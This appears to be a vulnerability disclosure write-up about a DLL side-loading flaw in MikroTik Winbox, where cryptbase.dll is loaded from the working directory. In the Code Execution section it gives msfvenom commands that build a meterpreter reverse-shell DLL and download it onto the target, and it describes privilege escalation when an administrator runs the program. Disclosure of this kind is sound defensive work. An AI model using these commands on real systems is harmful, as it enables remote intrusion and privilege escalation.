MikroTik Winbox DLL Side-Loading Vulnerability X2

Overview

We are back for the second edition of a MikroTik Winbox DLL Side loading vulnerability. Winbox.exe and Winbox64.exe suffer from a second unfortunate DLL Side-Loading vulnerability. The 3.41 version (64-bit) are vulnerable. I am confident these same vulnerabilities work for previous version of the software as well. Mikrotik makes it quite difficult to obtain previous software releases.

Obtaining the Software

Head over to: https://mikrotik.com/download and select the appropriate version from the drop down seen below.

Identification of the Side-Load

If we fire up Process Monitor from the Sysinternals suite, we can set three targeted filters.

Process name is winbox64.exe
Path ends with .dll
Result is NAME NOT FOUND

With these filters set we can see that Winbox64.exe is attempting to load three DLLs and not finding them in C:\Users\analyst\Desktop

For reference, Desktop is where winbox.exe and winbox64.exe were located when this capture was taken. If we look further, and or give the DLL names a quick Google we can see they are valid Windows OS DLLs and should be located in C:\Windows\System32

We can confirm this by clearing our capture filters and setting the filter to include:

Path ends with cryptbase.dll

Above we can see Winbox64.exe successfully loading the cryptbase.dll from System32 after searching the present working directory.

We can confirm that winbox64.exe will always attempt to load cryptbase.dll from the present working directory prior to looking in System32. Below is an image of our second capture. In the second capture we removed out malicous dll from the Desktop and can see winbox64.exe attempting to load the Dll (and not finding it) from the Desktop. It then will continue the hunt in the proper location (System32).

DLL Side Loading

According to MITRE side loading is:

Adversaries may execute their own malicious payloads by side-loading DLLs. 
Side-loading involves hijacking which DLL a program loads by planting and 
then invoking a legitimate application that executes their payload(s).

By placing our malicious .dll file in the directory wherewinbox64.exe or winbox.exe are located we can achieve code execution when the application is run. This is due to the application attempting to load the cryptbase.dll from the present working directory, before searching for the dll in its expected location C:\Windows\System32 .

Code Execution

After generating a very simple msfvenom DLL payload and placing it in the same folder as our winbox.exe binary we can achieve code execution.

# linux
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.15.97 LPORT=4444 -f dll -o cryptbase.dll
python3 -m http.server
# windows
iwr -Uri http://192.168.15.130:8000/cryptbase.dll -o cryptbase.dll

If run winbox64.exe, we can achieve code execution on the target system, as seen below. Note: Code execution is gained in the context of the user that ran Winbox.exe/Winbox64.exe.

Further seen below, we can see our PPID is winbox64.exe and our process is rundll32.exe (a signed Microsoft executable). This can be further confirmed with the ps and getpid Metasploit built-ins.

Admin Privs

Note that the winbox64.exe is our parent process. I bring this ppid pid relationship up for a particular reason. Say we have gained access to a user desktop that has the winbox.exe binary, however we do not have Administrator privileges, and we want to escalate. If a legitimate user were to come along and execute the winbox.exe binary as an Administrator we would gain code execution along with escalating our privileges. Winbox.exe is an application that can often require Administrator level permissions as firewall modifications are required for it to run and successfully connect to a remote router/switch.

Why is this a Vulnerability?

I believe this is a vulnerability for a few reasons.

1. Location on the file system is likely to be a user profile, allowing non-admin users potential write access to the same folder winbox.exe is located in
2. The high likelihood of privilege escalation due to Winbox needing permission to modify the firewall, making it almost a requirement to run the app as Administrator.

3. A non packaged application following the “Safe DLL Search Order” guidance from Microsoft, when it should be hardcoding the System32 path.

4. Correctable Dev action. This issue can easily be corrected by simply loading the DLLs from System32 . These are not DLLs that are found anywhere else on a Windows system, thus the developer can easily modify the LoadLibraryA WinAPI function call to load the DLLs from C:\Windows\System32 mitigating any potential of code execution or privilege escalation via DLL Side-Loading.